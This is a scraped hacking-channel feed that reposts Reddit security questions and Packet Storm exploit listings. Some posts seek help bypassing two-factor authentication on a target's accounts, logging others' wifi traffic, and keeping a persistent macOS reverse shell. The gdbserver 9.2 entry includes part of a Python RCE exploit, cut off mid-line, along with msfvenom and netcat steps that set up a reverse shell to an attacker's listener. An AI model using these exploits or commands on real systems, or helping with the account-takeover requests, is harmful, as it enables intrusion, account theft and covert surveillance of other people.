Deep Web
ILPT:

https://a.thumbs.redditmedia.com/pPKJmtSCYiAtcwPJ7jiKrcHY0NSeofJEZMgRmaiipY0.jpg submitted by /u/guacamole3434
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

The Pen Testing Tools We’re Thankful for in 2021 - Annual Recap of Pentesting Tools
https://www.reddit.com/r/Pentesting/comments/r0e5dz/the_pen_testing_tools_were_thankful_for_in_2021/

___________________________
@hacking_Attack
@Hacking_Video

submitted by /u/breach_house (https://www.reddit.com/user/breach_house)
[link] (https://bishopfox.com/blog/pen-testing-tools-2021) [comments] (https://www.reddit.com/r/Pentesting/comments/r0e5dz/the_pen_testing_tools_were_thankful_for_in_2021/)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Bypassing two factor authentication? Any point in trying?

Sigh.. As the title says, image getting the right credentials (username, email, password) for online accounts of your target. Good job 🤝 Now what?? You're still stuck cause the moment you try logging in to the target service, your target gets a notification telling them that they need to authenticate themselves before signing in. Is there a way to bypass it? Is this the end of the line for account hacking..?

submitted by /u/TheN1ght0w1
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Read wifi traffic data?

Is there a way I can log and read traffic data on my wifi, in regular format? Like if someone goes to in PH and searches donkey porn can I capture that activity in a log that also includes Mac address?

submitted by /u/igotthrownaway90
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Method?

How hackers easily hack the gmail and drive photos and other content even after google security mail and 2 step verification?

submitted by /u/EntrepreneurIll1660
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Full key extraction of NVIDIA TSEC

submitted by /u/pcaversaccio
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Can Hackers get into my computer, literally?

I have a mid-tower PC case, a micro ATX form factor mobo and 3 geforce rtx 3070s, so naturally, there's not a lot of space left in my computer for a hacker.

I also have a glass panel on the side of my computer so I think I'd be able to see if there was a hacker in my system, then again I don't have any RGB so it is quite dark in there.

My computer is also really loud so it is possible someone could be living in there and I wouldn't hear them.

I'm worried cause sometimes my mouse cuts out and it could be him unplugging it from inside to plug in his USB powered kettle, which would also explain the steam coming out of the I/O shield.

I'm was thinking of activating my firewall but I thought was a bit unethical, as he might get burnt so instead I comprised by uninstalling my antivirus so he gets a cold and has to come out.

Could anyone help? there might be a hacker in my system.

submitted by /u/NettleRash
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Mac OS reverse shell persistence

Mac OS reverse shell persistence?

Currently the persistence module in metasploit is not functioning properly does anyone know of anyway to achieve a persistent reverse shell on a Mac wether that would be achieving a reverse shell then entering commands and how to listen for it Or a listener that can achieve it ?

Could I just write a launchd that executes the reverse shell on boot

Or any other suggestions?

submitted by /u/alotofquestionsforyk
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Cracken - a fast password wordlist generator, Smartlist creation and password hybrid-mask analysis tool written in pure safe Rust

https://external-preview.redd.it/2D0z3KSMlXwVy2KkZr5LMnLiTsGPn2T90iuYv9I8lb4.jpg?width=640&crop=smart&auto=webp&s=7f7a0b192331728a7b2f67884b25a7af51f637e4 submitted by /u/binaryfor
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Bad hackers

Hello. You must know that the big part of all responses are bad. If you want to question something I will try to help you. The most strange is: VPN, tor safety, signal, RAT (remote access trojan)

submitted by /u/Pinguin_from_russia
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How to crack serial numbers for printer cartridges

I own a business refurbishing and repurposing wide format printers and soon we’re going to be running out of supply and will need to find a new printer to sell. The problem is, newer printers have a security feature in which when they read the chip on the cartridge to measure the volume, it also checks for a serial number and memorizes it so that when the cartridge empties, that cartridge can no longer be used and has to be discarded.

As part of my business, we sell refillable cartridges that have replaceable chips, and we supply the customers with them.

The first thing we need to know is how that verification process works? I’m assuming it’s impractical that the printer was shipped from the manufacturer with a database of serial numbers and the printer checks to see if the cartridge matches any of those numbers. I’m also assuming the motherboard has built in memory that checks the cartridge for use, unless the chips provide the printer that information.

I just need to be pointed in the best general direction of how we can figure this out. We do business in the New York area, if anyone has any idea of how to approach this hardware hack.

submitted by /u/DJCyaniide
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Common Bugs found in File Upload Functions

File upload is a function commonly founded in web app. You may find it in social network app, job seeking app etc. Also, it is one of the…Continue reading on Medium »
Read more...

Exploit Collector
FLEX 1085 Web 1.6.0 HTML Injection

https://4.bp.blogspot.com/-yT3eHciMBDw/WWlvGfUXh9I/AAAAAAAAILU/lYidSj08G0suEfC69x80tZFrj-NYN5F9wCLcBGAs/s1600/h137.png
FLEX 1085 Web version 1.6.0 suffers from an html injection vulnerability.

MD5 | 8fd1b5d7c3d4072ba6635cbe6970446f

Download
# Exploit Title: FLEX 1085 Web 1.6.0 - HTML Injection
# Date: 2021-11-21
# Exploit Author: Mr Empy
# Vendor Homepage: https://www.tem.ind.br/
# Software Link: https://www.tem.ind.br/?page=prod-detalhe&id=94
# Version: 1.6.0
# Tested on: Android
Title:
================
FLEX 1085 Web - HTML Injection

Summary:
================
The FLEX 1085 Web appliance is vulnerable to an HTML injection attack that
allows the injection of arbitrary HTML code.
Severity Level:
================
5.3 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Vulnerability Disclosure Schedule:
============================
* October 19, 2021: An email was sent to support at 6:08MP.

* November 20, 2021: I didn't get any response from support.

* November 21, 2021: Vulnerability Disclosure
Affected Product:
================
FLEX 1085 Web v1.6.0
Steps to Reproduce:
================

1. Open your browser and search for your device's IP address (http://
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Samsung NPU (Neural Processing Unit) Memory Corruption

https://2.bp.blogspot.com/-GUn1a49o67Q/WWlu9F-J_rI/AAAAAAAAIJo/HAAKEGfKUXIq4oSJFA9qEBzdRn_AvSgtACLcBGAs/s1600/h113.png
Samsung NPU (Neural Processing Unit) suffers from a memory corruption vulnerability in shared memory parsing.

MD5 | 6afdb4402bb5a568057a8d66184fffac

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
GNU gdbserver 9.2 Remote Command Execution

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
GNU gdbserver version 9.2 remote command execution exploit.

MD5 | be987b3baff2ae1c37e6c06f438713d3

Download
# Exploit Title: GNU gdbserver 9.2 - Remote Command Execution (RCE)
# Date: 2021-11-21
# Exploit Author: Roberto Gesteira Miñarro (7Rocky)
# Vendor Homepage: https://www.gnu.org/software/gdb/
# Software Link: https://www.gnu.org/software/gdb/download/
# Version: GNU gdbserver (Ubuntu 9.2-0ubuntu1~20.04) 9.2
# Tested on: Ubuntu Linux (gdbserver debugging x64 and x86 binaries)

#!/usr/bin/env python3
import binascii
import socket
import struct
import sys

help = f'''
Usage: python3 {sys.argv[0]} 10.10.10.200:1337
- Attacker's listener -> 10.10.10.100:4444

1. Generate shellcode with msfvenom:
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 PrependFork=true -o rev.bin

2. Listen with Netcat:
$ nc -nlvp 4444

3. Run the exploit:
$ python3 {sys.argv[0]} 10.10.10.200:1337 rev.bin
'''
def checksum(s: str) -> str:
res = sum(map(ord, s)) % 256
return f'{res:2x}'
def ack(sock):
sock.send(b'+')
def send(sock, s: str) -> str:
sock.send(f'${s}#{checksum(s)}'.encode())
res = sock.recv(1024)
ack(sock)
return res.decode()
def exploit(sock, payload: str):
send(sock, 'qSupported:multiprocess+;qRelocInsn+;qvCont+;')
send(sock, '!')

try:
res = send(sock, 'vCont;s')
data = res.split(';')[2]
arch, pc = data.split(':')
except Exception:
print('[!] ERROR: Unexpected response. Try again later')
exit(1)

if arch == '10':
print('[+] Found x64 arch')
pc = binascii.unhexlify(pc[:pc.index('0*')])
pc += b'\0' * (8 - len(pc))
addr = hex(struct.unpack('
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video